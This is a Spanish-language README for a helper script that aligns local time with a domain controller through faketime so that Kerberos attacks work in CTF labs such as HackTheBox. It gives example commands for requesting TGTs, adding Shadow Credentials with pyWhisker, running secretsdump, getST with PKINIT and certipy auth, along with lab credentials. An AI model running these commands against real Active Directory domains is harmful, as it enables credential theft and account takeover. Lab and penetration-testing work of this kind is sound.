Script para sincronizar la hora virtual con un DC remoto sin modificar la hora del sistema.
Diseñado para entornos con Kerberos donde el reloj local difiere del servidor (CTFs, HackTheBox, labs).
sudo apt install faketime krb5-user nmap ldap-utils ntpdateTambién requiere pyWhisker si usas
--shadow.
./faketime_sync.sh <DC_IP> <DOMAIN> [USER] [PASSWORD] [OPCIÓN]./faketime_sync.sh 10.129.35.21 logging.htbDetecta la hora del DC y muestra cómo usarla manualmente.
[*] Hora virtual : 2026-04-22 07:51:51
[*] Hora real : 2026-04-21 20:51:51
[+] Sincronización lista. Úsala así:
faketime '2026-04-22 07:51:51' kinit user@LOGGING.HTB
faketime '2026-04-22 07:51:51' python3 pywhisker.py ...
KRB5_CONFIG=/tmp/krb5_faketime.conf faketime '2026-04-22 07:51:51' <cmd>
./faketime_sync.sh 10.129.35.21 logging.htb --show-timeDevuelve únicamente la hora, ideal para encadenar con otros scripts:
DC_TIME=$(./faketime_sync.sh 10.129.35.21 logging.htb --show-time)
faketime "$DC_TIME" kinit user@LOGGING.HTB./faketime_sync.sh 10.129.35.21 logging.htb svc_recovery 'Em3rg3ncyPa$$2026' --tgtObtiene un Ticket Granting Ticket (TGT) con la hora del DC sincronizada.
Equivale a ejecutar manualmente:
faketime '2026-04-22 07:51:51' kinit svc_recovery@LOGGING.HTB./faketime_sync.sh 10.129.35.21 logging.htb svc_recovery 'Em3rg3ncyPa$$2026' --shadow 'msa_health$'Ejecuta pyWhisker con la hora virtual para agregar shadow credentials al target.
Busca pywhisker.py automáticamente dentro de ~/.
./faketime_sync.sh 10.129.35.21 logging.htb svc_recovery 'Em3rg3ncyPa$$2026' --exec 'klist'Ejecuta cualquier comando bajo faketime con la hora del DC.
Más ejemplos con --exec:
# Ver tickets activos
--exec 'klist'
# secretsdump con Kerberos
--exec 'python3 /opt/impacket/examples/secretsdump.py -k -no-pass dc01.logging.htb'
# pyWhisker manual
--exec 'python3 ~/pywhisker/pywhisker.py \
-d logging.htb -u svc_recovery -p "Em3rg3ncyPa\$\$2026" \
--target "msa_health\$" --action list --dc-ip 10.129.35.21'
# getST con PKINIT
--exec 'python3 /opt/impacket/examples/getST.py \
-spn cifs/dc01.logging.htb \
-pfx-base64 $(cat cert.pfx.b64) \
logging.htb/msa_health$'
# certipy
--exec 'certipy auth -pfx msa_health.pfx -dc-ip 10.129.35.21'| Opción | Args extra | Requiere creds | Descripción |
|---|---|---|---|
| (sin opción) | — | No | Obtiene hora y muestra uso manual |
--show-time |
— | No | Imprime solo la hora virtual |
--tgt |
— | ✅ Sí | Solicita TGT con kinit |
--shadow <target> |
<target> |
✅ Sí | Shadow Credentials via pyWhisker |
--exec '<cmd>' |
'<comando>' |
Opcional | Ejecuta cmd con faketime |
El script prueba en orden hasta obtener la hora del DC:
| Prioridad | Método | Herramienta | Notas |
|---|---|---|---|
| 1° | SMB timestamp | nmap --script smb2-time |
Más confiable en CTFs |
| 2° | NTP offset | ntpdate -q |
Requiere UDP 123 abierto |
| 3° | LDAP currentTime | ldapsearch |
Requiere credenciales |
| 4° | Fallback | +7h hardcodeado |
Último recurso |
# Exportar hora para usarla en otros comandos
DC_TIME=$(./faketime_sync.sh 10.129.35.21 logging.htb --show-time)
# Usar la config Kerberos generada por el script
KRB5_CONFIG=/tmp/krb5_faketime.conf faketime "$DC_TIME" klist
# Encadenar con impacket
KRB5_CONFIG=/tmp/krb5_faketime.conf faketime "$DC_TIME" \
python3 getST.py -spn cifs/dc01.logging.htb logging.htb/msa_health$
# Verificar sincronización antes de atacar
./faketime_sync.sh 10.129.35.21 logging.htb --show-time && echo "OK"| Archivo | Descripción |
|---|---|
/tmp/krb5_faketime.conf |
Configuración Kerberos del DC |
/tmp/krb5cc_* |
Ticket cache (generado por kinit) |
/tmp/.krb_pass_* |
Archivo temporal de contraseña (se elimina automáticamente) |
Este script está diseñado para uso en entornos de laboratorio y CTFs (HackTheBox, TryHackMe, etc.).
No lo uses contra sistemas sin autorización explícita.